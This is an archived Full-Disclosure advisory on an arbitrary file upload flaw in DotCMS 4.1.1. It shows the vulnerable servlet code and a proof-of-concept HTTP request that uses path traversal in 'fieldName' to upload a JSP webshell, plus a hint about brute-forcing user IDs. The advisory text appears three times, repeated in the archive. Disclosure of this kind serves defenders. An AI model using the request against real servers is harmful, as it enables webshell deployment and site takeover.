lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Mon, 17 Jul 2017 16:10:02 +0800
From: "xiaotian.wang@...ppsecurity.com.cn"<xiaotian.wang@...ppsecurity.com.cn>
To: "fulldisclosure"<fulldisclosure@...lists.org>
Subject: [FD] DotCMS /servlets/ajax_file_upload Arbitrary File Upload
	Vulnerability

DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability



==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@...das From DBAppSecurity Security Lab
Email: xiaotian.wang@...ppsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2.
POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
Host: 192.168.1.204:8080
  Accept-Encoding: gzip, deflate
  Content-Type: multipart/form-data; boundary=--------1234995635
  Cookie: your own cookies
  Connection: close
  Content-Length: 138


  ----------1234995635
  Content-Disposition: form-data; name="xxx"; filename="test.jsp"


  % out.print("test_for_fun!");%
  ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .
fdsEmail: xiaotian.wang@...ppsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
 Host: 192.168.1.204:8080
 Accept-Encoding: gzip, deflate
 Content-Type: multipart/form-data; boundary=--------1234995635
 Cookie: your own cookies
 Connection: close
 Content-Length: 138


 ----------1234995635
 Content-Disposition: form-data; name="xxx"; filename="test.jsp"


 % out.print("test_for_fun!");%
 ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .
DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability


==========================
Advisory: DotCMS /servlets/ajax_file_upload Arbitrary File Upload Vulnerability
Author: M3@...das From DBAppSecurity Security Lab
Email: xiaotian.wang@...ppsecurity.com.cn
Affected Version: 4.1.1 the latest version
==========================
Vulnerability Description
==========================
Recetly, I found an Arbitrary File Upload Vulnerability in 'DotCMS' program, DotCMS is widely used in many companies.


Vulnerable cgi: /dotcms_4.1.1_999999.jar!/com/dotmarketing/servlets/AjaxFileUploadServlet.class:


private void doFileUpload(HttpSession session, HttpServletRequest request, HttpServletResponse response)
  throws IOException
 {
  String fieldName = null;
  AjaxFileUploadListener listener = null;
  try
  {
   String fileName = "";
  
   listener = new AjaxFileUploadListener(request.getContentLength());
   FileItemFactory factory = new MonitoredDiskFileItemFactory(listener);
   fieldName = request.getParameter("fieldName");
   Enumeration params = request.getParameterNames();
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   ServletFileUpload upload = new ServletFileUpload(factory);
  
   List items = upload.parseRequest(request);
   boolean hasError = false;
   this.isEmptyFile = false;
  
   String userId = null;
   if (UtilMethods.isSet(session.getAttribute("USER_ID")))
   {
    userId = (String)session.getAttribute("USER_ID");
    User user = UserLocalManagerUtil.getUserById(userId);
    if ((!UtilMethods.isSet(user)) || (!UtilMethods.isSet(user.getUserId()))) {
     throw new Exception("Could not upload File. Invalid User");
    }
   }
   else
   {
    throw new Exception("Could not upload File. Invalid User");
   }
   for (Iterator i = items.iterator(); i.hasNext();)
   {
    FileItem fileItem = (FileItem)i.next();
    if (!fileItem.isFormField())
    {
     if (fileItem.getSize() == 0L) {
      this.isEmptyFile = true;
     }
     if (fileItem.getName().contains(File.separator)) {
      fileName = fileItem.getName().substring(fileItem
       .getName().lastIndexOf(File.separator) + 1);
     } else {
      fileName = fileItem.getName();
     }
     fileName = ContentletUtil.sanitizeFileName(fileName);
    
     File tempUserFolder = new File(APILocator.getFileAssetAPI().getRealAssetPathTmpBinary() + File.separator + userId + File.separator + fieldName);
     if (!isValidPath(tempUserFolder.getCanonicalPath())) {
      throw new IOException("Invalid fileName or Path");
     }
     if (!tempUserFolder.exists()) {
      tempUserFolder.mkdirs();
     }
     File dest = new File(tempUserFolder.getAbsolutePath() + File.separator + fileName);
     if (dest.exists()) {
      dest.delete();
     }
     fileItem.write(dest);
     fileItem.delete();
    }
   }
   if (this.isEmptyFile) {
    fileName = "";
   }
   if (!hasError) {
    sendCompleteResponse(response, null);
   } else {
    sendCompleteResponse(response, "Could not process uploaded file. Please see log for details.");
   }
  }
  catch (Exception e)
  {
   listener.error("error");
   session.setAttribute("FILE_UPLOAD_STATS_" + fieldName, listener.getFileUploadStats());
   sendCompleteResponse(response, e.getMessage());
   e.printStackTrace();
  }
 }




tempUserFolder can be controlled through paramter 'fieldName', the upload data is not filtered and the uploaded path can be user-defined,so attacker with the administrator authority can upload evil jsp webshell file to control the whole web site or even the web server.
==========================
POC  EXP
==========================
1. Login as administrator
2. POST /servlets/ajax_file_upload?fieldName=../ HTTP/1.1
 Host: 192.168.1.204:8080
 Accept-Encoding: gzip, deflate
 Content-Type: multipart/form-data; boundary=--------1234995635
 Cookie: your own cookies
 Connection: close
 Content-Length: 138


 ----------1234995635
 Content-Disposition: form-data; name="xxx"; filename="test.jsp"


 % out.print("test_for_fun!");%
 ----------1234995635--


3. shell is : http://192.168.1.204:8080/assets/tmp_upload/test.jsp
 
 Attension: In some other cases: 'filedName=' , then shell will be in 'assets/tmp_upload/dotcms.org.1/' like this:http://192.168.1.204:8080/assets/tmp_upload/dotcms.org.1/test.jsp , 'dotcms.org.1' is your userid, even if you do not know your userid, you can bruteforce the number behind ' dotcms.org.' .
Download attachment "dotcms.txt" of type "application/octet-stream" (4770 bytes)


_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Powered by blists - more mailing lists